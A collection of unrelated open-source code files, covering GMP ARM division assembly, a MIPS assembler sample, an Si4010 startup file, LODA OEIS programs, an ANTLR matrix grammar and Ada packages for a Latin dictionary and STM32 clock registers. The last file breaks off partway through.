type Handler_Command_Type is new Command_Type with record
Handler : Command_Handler;
end record;
-- Execute the command with the arguments.
overriding
procedure Execute (Command : in out Handler_Command_Type;
Name : in String;
Args : in Argument_List'Class;
Context : in out Context_Type);
-- Write the help associated with the command.
overriding
procedure Help (Command : in out Handler_Command_Type;
Name : in String;
Context : in out Context_Type);
type Driver_Type is tagged limited record
List : Command_Sets.Set;
Desc : Ada.Strings.Unbounded.Unbounded_String;
Usage : Ada.Strings.Unbounded.Unbounded_String;
end record;
end Util.Commands.Drivers;
|
third-party/gmp/gmp-src/mpn/arm/bdiv_q_1.asm | jhh67/chapel | 1,602 | 25900 | <gh_stars>1000+
dnl ARM v4 mpn_bdiv_q_1, mpn_pi1_bdiv_q_1 -- Hensel division by 1-limb divisor.
dnl Contributed to the GNU project by <NAME>.
dnl Copyright 2012, 2017 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C cycles/limb
C norm unorm
C 1176 13 18
C Cortex-A5 8 12
C Cortex-A7 10.5 18
C Cortex-A8 14 15
C Cortex-A9 10 12 not measured since latest edits
C Cortex-A15 9 9
C Cortex-A53 14 20
C Architecture requirements:
C v5 -
C v5t -
C v5te -
C v6 -
C v6t2 -
C v7a -
define(`rp', `r0')
define(`up', `r1')
define(`n', `r2')
define(`d', `r3')
define(`di_arg', `sp[0]') C just mpn_pi1_bdiv_q_1
define(`cnt_arg', `sp[4]') C just mpn_pi1_bdiv_q_1
define(`cy', `r7')
define(`cnt', `r6')
define(`tnc', `r8')
ASM_START()
PROLOGUE(mpn_bdiv_q_1)
tst d, #1
push {r6-r11}
mov cnt, #0
bne L(inv)
C count trailing zeros
movs r10, d, lsl #16
moveq d, d, lsr #16
moveq cnt, #16
tst d, #0xff
moveq d, d, lsr #8
addeq cnt, cnt, #8
LEA( r10, ctz_tab)
and r11, d, #0xff
ldrb r10, [r10, r11]
mov d, d, lsr r10
add cnt, cnt, r10
C binvert limb
L(inv): LEA( r10, binvert_limb_table)
and r12, d, #254
ldrb r10, [r10, r12, lsr #1]
mul r12, r10, r10
mul r12, d, r12
rsb r12, r12, r10, lsl #1
mul r10, r12, r12
mul r10, d, r10
rsb r10, r10, r12, lsl #1 C r10 = inverse
b L(pi1)
EPILOGUE()
PROLOGUE(mpn_pi1_bdiv_q_1)
push {r6-r11}
ldr cnt, [sp, #28]
ldr r10, [sp, #24]
L(pi1): ldr r11, [up], #4 C up[0]
cmp cnt, #0
mov cy, #0
bne L(unorm)
L(norm):
subs n, n, #1 C set carry as side-effect
beq L(edn)
ALIGN(16)
L(tpn): sbcs cy, r11, cy
ldr r11, [up], #4
sub n, n, #1
mul r9, r10, cy
tst n, n
umull r12, cy, d, r9
str r9, [rp], #4
bne L(tpn)
L(edn): sbc cy, r11, cy
mul r9, r10, cy
str r9, [rp]
pop {r6-r11}
return r14
L(unorm):
rsb tnc, cnt, #32
mov r11, r11, lsr cnt
subs n, n, #1 C set carry as side-effect
beq L(edu)
ALIGN(16)
L(tpu): ldr r12, [up], #4
orr r9, r11, r12, lsl tnc
mov r11, r12, lsr cnt
sbcs cy, r9, cy C critical path ->cy->cy->
sub n, n, #1
mul r9, r10, cy C critical path ->cy->r9->
tst n, n
umull r12, cy, d, r9 C critical path ->r9->cy->
str r9, [rp], #4
bne L(tpu)
L(edu): sbc cy, r11, cy
mul r9, r10, cy
str r9, [rp]
pop {r6-r11}
return r14
EPILOGUE()
RODATA
ctz_tab:
.byte 8,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0
.byte 5,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0
.byte 6,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0
.byte 5,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0
.byte 7,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0
.byte 5,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0
.byte 6,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0
.byte 5,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0
|
sample.asm | josemacan/MIPS_Assembler | 0 | 247899 | <reponame>josemacan/MIPS_Assembler<filename>sample.asm
ADD $1, $2, $3 // reg(1) (rd) = reg(2) (rs) + reg(3) (rt) --- op 000000 rs 00010 (2) rt 00011 (3) rd 00001 (1) sh 00000 fn 100000
SUB $1, $2, $3 // reg(1) (rd) = reg(2) (rs) - reg(3) (rt) --- op 000000 rs 00010 (2) rt 00011 (3) rd 00001 (1) sh 00000 fn 100010
SLL $1, $2, 3 // reg(1) (rd) = reg(2) (rt) << 3 (sh) --- op 000000 rs 00000 () rt (00010) (2) rd (00001) (1) sh 00011 (3) fn 000000
SRL $1, $2, 3 // reg(1) (rd) = reg(2) (rt) >> 3 (sh) --- op 000000 rs 00000 () rt (00010) (2) rd (00001) (1) sh 00011 (3) fn 000010
SRA $1, $2, 3 // reg(1) (rd) = reg(2) (rt) >> 3 (sh) --- op 000000 rs 00000 () rt (00010) (2) rd (00001) (1) sh 00011 (3) fn 000011
SLLV $1, $2, $3 // reg(1) (rd) = reg(2) (rt) << reg(3) (rs) --- op 000000 rs 00011 (3) rt (00010) (2) rd (00001) (1) sh 00000 () fn 000100
SRLV $1, $2, $3 // reg(1) (rd) = reg(2) (rt) >> reg(3) (rs) --- op 000000 rs 00011 (3) rt (00010) (2) rd (00001) (1) sh 00000 () fn 000110
SRAV $1, $2, $3 // reg(1) (rd) = reg(2) (rt) >> reg(3) (rs) --- op 000000 rs 00011 (3) rt (00010) (2) rd (00001) (1) sh 00000 () fn 000111
ADDU $1, $2, $3 // reg(1) (rd) = reg(2) (rs) + reg(3) (rt) --- op 000000 rs 00010 (2) rt 00011 (3) rd 00001 (1) sh 00000 fn 100001
SUBU $1, $2, $3 // reg(1) (rd) = reg(2) (rs) - reg(3) (rt) --- op 000000 rs 00010 (2) rt 00011 (3) rd 00001 (1) sh 00000 fn 100011
AND $1, $2, $3 // reg(1) (rd) = reg(2) (rs) & reg(3) (rt) --- op 000000 rs 00010 (2) rt 00011 (3) rd 00001 (1) sh 00000 fn 100100
OR $1, $2, $3 // reg(1) (rd) = reg(2) (rs) || reg(3) (rt) --- op 000000 rs 00010 (2) rt 00011 (3) rd 00001 (1) sh 00000 fn 100101
XOR $1, $2, $3 // reg(1) (rd) = reg(2) (rs) XOR reg(3) (rt) --- op 000000 rs 00010 (2) rt 00011 (3) rd 00001 (1) sh 00000 fn 100110
NOR $1, $2, $3 // reg(1) (rd) = reg(2) (rs) NOR reg(3) (rt) --- op 000000 rs 00010 (2) rt 00011 (3) rd 00001 (1) sh 00000 fn 100111
SLT $1, $2, $3 // reg(1) (rd) = reg(2) (rs) < reg(3) (rt) --- op 000000 rs 00010 (2) rt 00011 (3) rd 00001 (1) sh 00000 fn 101010
LB $1, 4($3) // reg(1) (rt) = 4 (offset) (( reg(3) (base/rs) )) --- op 100000 base/rs 00011 (3) rt 00001 (1) offset 0000000000000100 (4)
LH $1, 4($3) // reg(1) (rt) = 4 (offset), (( reg(3) (base/rs) )) --- op 100001 base/rs 00011 (3) rt 00001 (1) offset 0000000000000100 (4)
LW $1, 4($3) // reg(1) (rt) = 4 (offset), (( reg(3) (base/rs) )) --- op 100011 base/rs 00011 (3) rt 00001 (1) offset 0000000000000100 (4)
LWU $1, 4($3) // reg(1) (rt) = 4 (offset), (( reg(3) (base/rs) )) --- op 100111 base/rs 00011 (3) rt 00001 (1) offset 0000000000000100 (4)
LBU $1, 4($3) // reg(1) (rt) = 4 (offset), (( reg(3) (base/rs) )) --- op 100100 base/rs 00011 (3) rt 00001 (1) offset 0000000000000100 (4)
LHU $1, 4($3) // reg(1) (rt) = 4 (offset), (( reg(3) (base/rs) )) --- op 100101 base/rs 00011 (3) rt 00001 (1) offset 0000000000000100 (4)
SB $1, 4($3) // reg(1) (rt) = 4 (offset), (( reg(3) (base/rs) )) --- op 101000 base/rs 00011 (3) rt 00001 (1) offset 0000000000000100 (4)
SH $1, 4($3) // reg(1) (rt) = 4 (offset), (( reg(3) (base/rs) )) --- op 101001 base/rs 00011 (3) rt 00001 (1) offset 0000000000000100 (4)
SW $1, 4($3) // reg(1) (rt) = 4 (offset), (( reg(3) (base/rs) )) --- op 101011 base/rs 00011 (3) rt 00001 (1) offset 0000000000000100 (4)
ADDI $1, $2, 3 // reg(1) (rt) = reg(2) (rs) + 3 --- op 001000 rs 00010 (2) rt 00001 (1) immediate 0000000000000011 (3)
ANDI $1, $2, 3 // reg(1) (rt) = reg(2) (rs) & 3 --- op 001100 rs 00010 (2) rt 00001 (1) immediate 0000000000000011 (3)
ORI $1, $2, 3 // reg(1) (rt) = reg(2) (rs) || 3 --- op 001101 rs 00010 (2) rt 00001 (1) immediate 0000000000000011 (3)
XORI $1, $2, 3 // reg(1) (rt) = reg(2) (rs) XOR 3 --- op 001110 rs 00010 (2) rt 00001 (1) immediate 0000000000000011 (3)
LUI $1, 2 // reg(1) (rt) = 3 --- op 001111 rs 00000 () rt 00001 (1) immediate 0000000000000010 (2)
SLTI $1, $2, 3 // reg(1) (rt) = reg(2) (rs) < 3 --- op 001010 rs 00010 (2) rt 00001 (1) immediate 0000000000000011 (3)
BEQ $1, $2, else // if reg(1) (rs) = reg(2) (rt) then BRANCH --- op 000100 rs 00001 (1) rt 00010 (2) offset tag ()
BNE $1, $2, 3 // if reg(1) (rs) != reg(2) (rt) then BRANCH --- op 000101 rs 00001 (1) rt 00010 (2) offset 0000000000000011 (3)
else:
J end // J end (tag) --- op 000010 addr tag ()
JAL end // JAL end (tag) --- op 000011 addr tag ()
JR $1 // PC = reg(1) (rs) --- op 000000 rs 00001 (none) 000000000000000 func (001000)
JALR $1 // rd (dec 31) = return addr , PC = reg(1) rs --- op 000000 rs 00001 (1) rt 00000 (0) rd 11111 (31) sh 00000 fn 001001
end:
HALT
|
RBBT_SI_IDC/src/keyfob_startup.a51 | rossjd/RBBT | 0 | 178818 | <reponame>rossjd/RBBT
;-------------------------------------------------------------------------------
; Silicon Laboratories, Inc.
; http://www.silabs.com
; Copyright 2010
;-------------------------------------------------------------------------------
;
; FILE: keyfob_startup.a51 .. startup for keyfob_demo project
; TARGET: Si4010
; TOOLCHAIN: Keil
; DATE: May 10, 2010
; RELEASE: 1.0 (TamasN), ROM version 02.00
;
;---------------------------------------------------------------------------
;
; DESCRIPTION:
; The original file is part of the C51 Compiler package.
; Part of the file are Copyright (c) 1988-2005 Keil Elektronik GmbH
; and Keil Software, Inc.
; Version 8.01
;
; This is a startup file for the keyfob_demo project.
; The only difference from the
;
; ..\common\src\startup.a51
;
; is that is reserves a stack space other then 1.
;
; Startup file for Si4010 project for the Keil C. It must
; be included in any of the C projects and compiled and linked
; with the main() file. Only needed for the main() application
; build.
;
; All the conditionals were removed from the original Keil
; file and only those needed are kept. What this code does:
;
; 1. Sets P2 for possible PDATA use for XREG
; 2. Sets SP after the last used data in IDATA
;
; All DATA/IDATA and XDATA variable initializations were removed.
; If user application relies on the zero initial values
; of variables then the code should be return there.
;
; Note that CODE/XDATA share the same RAM space. Also note that
; the XDATA memory can be cleared only up to the address value
; (not inclusive) specified in the WORD (2 byte, big endian)
; variable wBoot_DpramTrimBeg at address 0x11F3. The XDATA
; area clearing code must read this variable to get the first
; occupied address of XDATA which must not be touched.
; User usable CODE/XDATA RAM is in a range, limits inclusive:
;
; 0x0000 .. (wBoot_DpramTrimBeg) - 1
;
;---------------------------------------------------------------------------
;
; DATA DECLARATIONS:
;
$NOMOD51
;------------------------------------------------------------------------------
; This file is part of the C51 Compiler package
; Copyright (c) 1988-2005 Keil Elektronik GmbH and Keil Software, Inc.
; Version 8.01
;------------------------------------------------------------------------------
; STARTUP.A51: This code is executed after processor reset.
;
; To translate this file use A51 with the following invocation:
;
; A51 STARTUP.A51
;
; To link the modified STARTUP.OBJ file to your application use the following
; Lx51 invocation:
;
; Lx51 your object file list, STARTUP.OBJ controls
;
;------------------------------------------------------------------------------
;
; User-defined Power-On Initialization of Memory
; SiLabs: Removed, we don't do any power on memory clearing.
; See the description above.
;
; PDATASTART: PDATA memory start address <0x0-0xFFFF>
; The absolute start address of PDATA memory
; SiLabs: Set to XREG space, but it is up to the use to initialize this.
PDATASTART EQU 04000H
;------------------------------------------------------------------------------
;
; Memory Page for Using the Compact Model with 64 KByte XDATA RAM
; Compact Model Page Definition
;
; Define the XDATA page used for PDATA variables.
; PPAGE must conform with the PPAGE set in the linker invocation.
; MPech: Even if we are not using the compact mode, the P2 can be
; set to XREG page for faster access by default.
; Enable PDATA memory page initialization
PPAGEENABLE EQU 1 ; Set to 1 if pdata object are used.
; PPAGE number <0x0-0xFF>
; Uppermost 256-byte address of the page used for PDATA variables.
PPAGE EQU HIGH(PDATASTART)
; FR address which supplies uppermost address byte <0x0-0xFF>
; Most 8051 variants use P2 as uppermost address byte. The P2 SFR address
; is 0xA0
PPAGE_SFR DATA 0A0H ; P2
;---------------------------------------------------------------------------
;
; SYMBOLS:
;
; -- Standard SFR Symbols
ACC DATA 0E0H
B DATA 0F0H
SP DATA 81H
DPL DATA 82H
DPH DATA 83H
;---------------------------------------------------------------------------
;
; CODE:
;
NAME ?C_STARTUP
?C_C51STARTUP SEGMENT CODE
?STACK SEGMENT IDATA
; -- Nominally the DS 1 is used for the STACK segment. However, if we want
; to reserve a desired space and make sure that we are not overflowing
; sizes we should allocated desired amount here.
RSEG ?STACK
DS 40 ; 40 bytes of stack reserved
; -- Start code and startup entry .. CPU reset entry
EXTRN CODE (?C_START)
PUBLIC ?C_STARTUP
; -- Entry point of the code .. CPU starts here
CSEG AT 0
?C_STARTUP: ljmp STARTUP1 ; Long jump to startup code
; -- Startup code. The relocatable segment name must be ?C_C51STARTUP
RSEG ?C_C51STARTUP
STARTUP1:
IF PPAGEENABLE <> 0
mov PPAGE_SFR, #PPAGE ; Get the PDATA ready
ENDIF
mov SP, #?STACK-1 ; Set stack pointer
ljmp ?C_START ; Go to C main()
END
;
;------------------------------------------------------------------------------
;
|
programs/oeis/004/A004164.asm | neoneye/loda | 22 | 166972 | ; A004164: Sum of digits of n^3.
; 0,1,8,9,10,8,9,10,8,18,1,8,18,19,17,18,19,17,18,28,8,18,19,17,18,19,26,27,19,26,9,28,26,27,19,26,27,19,26,27,10,26,27,28,26,18,28,17,18,28,8,18,19,35,27,28,26,27,19,26,9,28,26,18,19,26,36,19,17,27,10,26,27,28,17,27,37,26,27,28,8,18,28,35,27,19,26,27,28,35,18,28,44,27,28,35,36,28,26,36
pow $0,3
mov $1,1
lpb $0
mov $2,$0
div $0,10
mod $2,10
add $1,$2
lpe
sub $1,1
mov $0,$1
|
Lab3/target/classes/Matrix.g4 | yarikzgurovskiy/ProgrammingTechnologiesLabs | 0 | 6048 | grammar Matrix;
/*
* Lexer Rules
*/
// Names
VAR : [A-Za-z];
// Values
NUMBER : '-'?([0-9]+ | [0-9]+'.'[0-9]+);
VECTOR : '['NUMBER(','WHITESPACE* NUMBER)*']' ;
MATRIX : '['VECTOR(','WHITESPACE* VECTOR)*']' ;
// Symbols
EQUAL : '=';
WHITESPACE : [ \n\t\r]+ -> skip;
LB: '(';
RB: ')';
NL: '\n';
// Operation symbols
DIVIDE: '/';
TRANSPOSE: '^T';
RANK: 'rank' ;
DET: 'det' ;
/*
* Parser Rules
*/
root:
input EOF # RootRule
;
// Logical
input:
assignment # ToSetVariable
| divide NL? EOF # ExecuteExpression
;
assignment:
VAR EQUAL input # MakeAssignment
;
divide:
divide DIVIDE det # MakeDivision
| det # ToDet
;
det:
DET det # CalcDet
| rank # ToRank
;
rank:
RANK rank # CalcRank
| transpose # ToTranspose
;
transpose:
transpose TRANSPOSE # MakeTranspose
| atom # ToAtom
;
atom:
NUMBER # MakeNumber
| MATRIX # MakeMatrix
| VAR # MakeVariable
| LB divide RB # MakeBraces
; |
programs/oeis/145/A145849.asm | jmorken/loda | 1 | 100621 | ; A145849: a(n) = A145812(2n-1).
; 1,9,33,41,129,137,161,169,513,521,545,553,641,649,673,681,2049,2057,2081,2089,2177,2185,2209,2217,2561,2569,2593,2601,2689,2697,2721,2729,8193,8201,8225,8233,8321,8329,8353,8361,8705,8713,8737,8745,8833,8841,8865,8873,10241,10249,10273,10281,10369,10377,10401,10409,10753,10761,10785,10793,10881,10889,10913,10921,32769,32777,32801,32809,32897,32905,32929,32937,33281,33289,33313,33321,33409,33417,33441,33449,34817,34825,34849,34857,34945,34953,34977,34985,35329,35337,35361,35369,35457,35465,35489,35497,40961,40969,40993,41001,41089,41097,41121,41129,41473,41481,41505,41513,41601,41609,41633,41641,43009,43017,43041,43049,43137,43145,43169,43177,43521,43529,43553,43561,43649,43657,43681,43689,131073,131081,131105,131113,131201,131209,131233,131241,131585,131593,131617,131625,131713,131721,131745,131753,133121,133129,133153,133161,133249,133257,133281,133289,133633,133641,133665,133673,133761,133769,133793,133801,139265,139273,139297,139305,139393,139401,139425,139433,139777,139785,139809,139817,139905,139913,139937,139945,141313,141321,141345,141353,141441,141449,141473,141481,141825,141833,141857,141865,141953,141961,141985,141993,163841,163849,163873,163881,163969,163977,164001,164009,164353,164361,164385,164393,164481,164489,164513,164521,165889,165897,165921,165929,166017,166025,166049,166057,166401,166409,166433,166441,166529,166537,166561,166569,172033,172041,172065,172073,172161,172169,172193,172201,172545,172553,172577,172585,172673,172681,172705,172713,174081,174089,174113,174121,174209,174217,174241,174249,174593,174601
mov $2,$0
mov $5,$0
lpb $2
mov $0,$5
sub $2,1
sub $0,$2
mov $3,$0
lpb $0
add $3,$0
mov $0,0
gcd $3,281474976710656
mov $4,3
mov $6,0
add $6,$3
mov $7,1
lpe
sub $4,$7
mul $6,$4
pow $6,2
add $6,$4
mov $3,$6
div $3,6
add $3,1
add $1,$3
lpe
div $1,4
mul $1,8
add $1,1
|
src/latin_utils/latin_utils-dictionary_package-dictionary_entry_io.adb | spr93/whitakers-words | 204 | 17689 | <gh_stars>100-1000
-- WORDS, a Latin dictionary, by <NAME> (USAF, Retired)
--
-- Copyright <NAME> (1936–2010)
--
-- This is a free program, which means it is proper to copy it and pass
-- it on to your friends. Consider it a developmental item for which
-- there is no charge. However, just for form, it is Copyrighted
-- (c). Permission is hereby freely given for any and all use of program
-- and data. You can sell it as your own, but at least tell me.
--
-- This version is distributed without obligation, but the developer
-- would appreciate comments and suggestions.
--
-- All parts of the WORDS system, source code and data files, are made freely
-- available to anyone who wishes to use them, for whatever purpose.
separate (Latin_Utils.Dictionary_Package)
package body Dictionary_Entry_IO is
---------------------------------------------------------------------------
procedure Get (File : in Ada.Text_IO.File_Type; Item : out Dictionary_Entry)
is
Spacer : Character;
pragma Unreferenced (Spacer);
begin
for K in Stem_Key_Type range 1 .. 4 loop
Stem_Type_IO.Get (File, Item.Stems (K));
Ada.Text_IO.Get (File, Spacer);
end loop;
Part_Entry_IO.Get (File, Item.Part);
Ada.Text_IO.Get (File, Spacer);
Translation_Record_IO.Get (File, Item.Tran);
Ada.Text_IO.Get (File, Spacer);
Ada.Text_IO.Get (File, Item.Mean);
end Get;
---------------------------------------------------------------------------
procedure Get (Item : out Dictionary_Entry)
is
Spacer : Character;
pragma Unreferenced (Spacer);
begin
for K in Stem_Key_Type range 1 .. 4 loop
Stem_Type_IO.Get (Item.Stems (K));
Ada.Text_IO.Get (Spacer);
end loop;
Part_Entry_IO.Get (Item.Part);
Ada.Text_IO.Get (Spacer);
Translation_Record_IO.Get (Item.Tran);
Ada.Text_IO.Get (Spacer);
Ada.Text_IO.Get (Item.Mean);
end Get;
---------------------------------------------------------------------------
procedure Put (File : in Ada.Text_IO.File_Type; Item : in Dictionary_Entry)
is
Part_Col : Natural := 0;
begin
for K in Stem_Key_Type range 1 .. 4 loop
Stem_Type_IO.Put (File, Item.Stems (K));
Ada.Text_IO.Put (File, ' ');
end loop;
Part_Col := Natural (Ada.Text_IO.Col (File));
Part_Entry_IO.Put (File, Item.Part);
Ada.Text_IO.Set_Col
(File,
Ada.Text_IO.Count (Part_Col + Part_Entry_IO.Default_Width + 1)
);
Translation_Record_IO.Put (File, Item.Tran);
Ada.Text_IO.Put (File, ' ');
Ada.Text_IO.Put (File, Item.Mean);
end Put;
---------------------------------------------------------------------------
procedure Put (Item : in Dictionary_Entry)
is
Part_Col : Natural := 0;
begin
for K in Stem_Key_Type range 1 .. 4 loop
Stem_Type_IO.Put (Item.Stems (K));
Ada.Text_IO.Put (' ');
end loop;
Part_Col := Natural (Ada.Text_IO.Col);
Part_Entry_IO.Put (Item.Part);
Ada.Text_IO.Set_Col
(Ada.Text_IO.Count (Part_Col + Part_Entry_IO.Default_Width + 1));
Translation_Record_IO.Put (Item.Tran);
Ada.Text_IO.Put (' ');
Ada.Text_IO.Put (Item.Mean);
end Put;
---------------------------------------------------------------------------
procedure Get
(Source : in String;
Target : out Dictionary_Entry;
Last : out Integer
)
is
-- Used for computing lower bound of substring
Low : Integer := Source'First - 1;
-- Used for computing Last
High : Integer := 0;
begin
for K in Stem_Key_Type range 1 .. 4 loop
Stem_Type_IO.Get
(Source (Low + 1 .. Source'Last),
Target.Stems (K),
Low
);
end loop;
Part_Entry_IO.Get (Source (Low + 1 .. Source'Last), Target.Part, Low);
Low := Low + 1;
Translation_Record_IO.Get
(Source (Low + 1 .. Source'Last),
Target.Tran,
Low
);
Low := Low + 1;
Target.Mean := Head (Source (Low + 1 .. Source'Last), Max_Meaning_Size);
High := Low + 1;
while Source (High) = ' ' loop
High := High + 1;
end loop;
Last := High;
end Get;
---------------------------------------------------------------------------
procedure Put (Target : out String; Item : in Dictionary_Entry)
is
-- Used for computing bounds of substrings
Low : Integer := Target'First - 1;
High : Integer := 0;
Part_Col : Natural := 0;
begin
-- Put Stem_Types
for K in Stem_Key_Type range 1 .. 4 loop
High := Low + Max_Stem_Size;
Target (Low + 1 .. High) := Item.Stems (K);
Low := High + 1;
Target (Low) := ' ';
end loop;
-- Put Part_Entry
Part_Col := Low + 1;
High := Low + Part_Entry_IO.Default_Width;
Part_Entry_IO.Put (Target (Low + 1 .. High), Item.Part);
-- Put Translation_Record
Low := Part_Col + Part_Entry_IO.Default_Width + 1;
High := Low + Translation_Record_IO.Default_Width;
Translation_Record_IO.Put (Target (Low + 1 .. High), Item.Tran);
-- Put Meaning_Type
Low := High + 1;
Target (Low) := ' ';
High := High + Max_Meaning_Size;
Target (Low + 1 .. High) := Item.Mean;
-- Fill remainder of string
Target (High + 1 .. Target'Last) := (others => ' ');
end Put;
---------------------------------------------------------------------------
end Dictionary_Entry_IO;
|
src/arch/socs/stm32f439/Ada/soc-rcc.ads | wookey-project/ewok-legacy | 0 | 14501 | --
-- Copyright 2018 The wookey project team <<EMAIL>>
-- - <NAME>
-- - <NAME>
-- - Mathieu Renard
-- - <NAME>
-- - <NAME>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
--
--
with system;
with types.c;
package soc.rcc
with spark_mode => off
is
-----------------------------------------
-- RCC clock control register (RCC_CR) --
-----------------------------------------
type t_RCC_CR is record
HSION : boolean; -- Internal high-speed clock enable
HSIRDY : boolean; -- Internal high-speed clock ready flag
Reserved_2_2 : bit;
HSITRIM : bits_5; -- Internal high-speed clock trimming
HSICAL : unsigned_8; -- Internal high-speed clock calibration
HSEON : boolean; -- HSE clock enable
HSERDY : boolean; -- HSE clock ready flag
HSEBYP : boolean; -- HSE clock bypassed (with an ext. clock)
CSSON : boolean; -- Clock security system enable
Reserved_20_23 : bits_4;
PLLON : boolean; -- Main PLL enable
PLLRDY : boolean; -- Main PLL clock ready flag
PLLI2SON : boolean; -- PLLI2S enable
PLLI2SRDY : boolean; -- PLLI2S clock ready flag
PLLSAION : boolean; -- PLLSAI enable
PLLSAIRDY : boolean; -- PLLSAI clock ready flag
Reserved_30_31 : bits_2;
end record
with volatile_full_access, size => 32;
for t_RCC_CR use record
HSION at 0 range 0 .. 0;
HSIRDY at 0 range 1 .. 1;
Reserved_2_2 at 0 range 2 .. 2;
HSITRIM at 0 range 3 .. 7;
HSICAL at 0 range 8 .. 15;
HSEON at 0 range 16 .. 16;
HSERDY at 0 range 17 .. 17;
HSEBYP at 0 range 18 .. 18;
CSSON at 0 range 19 .. 19;
Reserved_20_23 at 0 range 20 .. 23;
PLLON at 0 range 24 .. 24;
PLLRDY at 0 range 25 .. 25;
PLLI2SON at 0 range 26 .. 26;
PLLI2SRDY at 0 range 27 .. 27;
PLLSAION at 0 range 28 .. 28;
PLLSAIRDY at 0 range 29 .. 29;
Reserved_30_31 at 0 range 30 .. 31;
end record;
--------------------------------------------------
-- RCC PLL configuration register (RCC_PLLCFGR) --
--------------------------------------------------
type t_RCC_PLLCFGR is record
PLLM : bits_6;
PLLN : bits_9;
PLLP : bits_2;
PLLSRC : bit;
PLLQ : bits_4;
end record
with size => 32, volatile_full_access;
for t_RCC_PLLCFGR use record
PLLM at 0 range 0 .. 5;
PLLN at 0 range 6 .. 14;
PLLP at 0 range 16 .. 17;
PLLSRC at 0 range 22 .. 22;
PLLQ at 0 range 24 .. 27;
end record;
PLLCFGR_RESET : constant unsigned_32 := 16#2400_3010#;
-------------------------------------------------
-- RCC clock configuration register (RCC_CFGR) --
-------------------------------------------------
type t_RCC_CFGR is record
SW : bits_2; -- System clock switch
SWS : bits_2; -- System clock switch status
HPRE : bits_4; -- AHB prescaler
reserved_8_9 : bits_2;
PPRE1 : bits_3; -- APB Low speed prescaler (APB1)
PPRE2 : bits_3; -- APB high-speed prescaler (APB2)
RTCPRE : bits_5; -- HSE division factor for RTC clock
MCO1 : bits_2; -- Microcontroller clock output 1
I2SSCR : bit; -- I2S clock selection
MCO1PRE : bits_3; -- MCO1 prescaler
MCO2PRE : bits_3; -- MCO2 prescaler
MCO2 : bits_2; -- Microcontroller clock output 2
end record
with size => 32, volatile_full_access;
for t_RCC_CFGR use record
SW at 0 range 0 .. 1;
SWS at 0 range 2 .. 3;
HPRE at 0 range 4 .. 7;
reserved_8_9 at 0 range 8 .. 9;
PPRE1 at 0 range 10 .. 12;
PPRE2 at 0 range 13 .. 15;
RTCPRE at 0 range 16 .. 20;
MCO1 at 0 range 21 .. 22;
I2SSCR at 0 range 23 .. 23;
MCO1PRE at 0 range 24 .. 26;
MCO2PRE at 0 range 27 .. 29;
MCO2 at 0 range 30 .. 31;
end record;
------------------------------------------------------
-- RCC AHB1 peripheral clock register (RCC_AHB1ENR) --
------------------------------------------------------
type t_RCC_AHB1ENR is record
GPIOAEN : boolean; -- IO port A clock enable
GPIOBEN : boolean; -- IO port B clock enable
GPIOCEN : boolean; -- IO port C clock enable
GPIODEN : boolean; -- IO port D clock enable
GPIOEEN : boolean; -- IO port E clock enable
GPIOFEN : boolean; -- IO port F clock enable
GPIOGEN : boolean; -- IO port G clock enable
GPIOHEN : boolean; -- IO port H clock enable
GPIOIEN : boolean; -- IO port I clock enable
reserved_9_11 : bits_3;
CRCEN : boolean; -- CRC clock enable
reserved_13_17 : bits_5;
BKPSRAMEN : boolean; -- Backup SRAM interface clock enable
reserved_19 : bit;
CCMDATARAMEN : boolean; -- CCM data RAM clock enable
DMA1EN : boolean; -- DMA1 clock enable
DMA2EN : boolean; -- DMA2 clock enable
reserved_23_24 : bit;
ETHMACEN : boolean; -- Ethernet MAC clock enable
ETHMACTXEN : boolean; -- Ethernet Transmission clock enable
ETHMACRXEN : boolean; -- Ethernet Reception clock enable
ETHMACPTPEN : boolean; -- Ethernet PTP clock enable
OTGHSEN : boolean; -- USB OTG HS clock enable
OTGHSULPIEN : boolean; -- USB OTG HSULPI clock enable
reserved_31 : bit;
end record
with pack, size => 32, volatile_full_access;
-------------------------------------------------------------
-- RCC AHB2 peripheral clock enable register (RCC_AHB2ENR) --
-------------------------------------------------------------
type t_RCC_AHB2ENR is record
DCMIEN : boolean; -- DCMI clock enable
reserved_1_3 : bits_3;
CRYPEN : boolean; -- CRYP clock enable
HASHEN : boolean; -- HASH clock enable
RNGEN : boolean; -- RNG clock enable
OTGFSEN : boolean; -- USB OTG Full Speed clock enable
end record
with size => 32, volatile_full_access;
for t_RCC_AHB2ENR use record
DCMIEN at 0 range 0 .. 0;
reserved_1_3 at 0 range 1 .. 3;
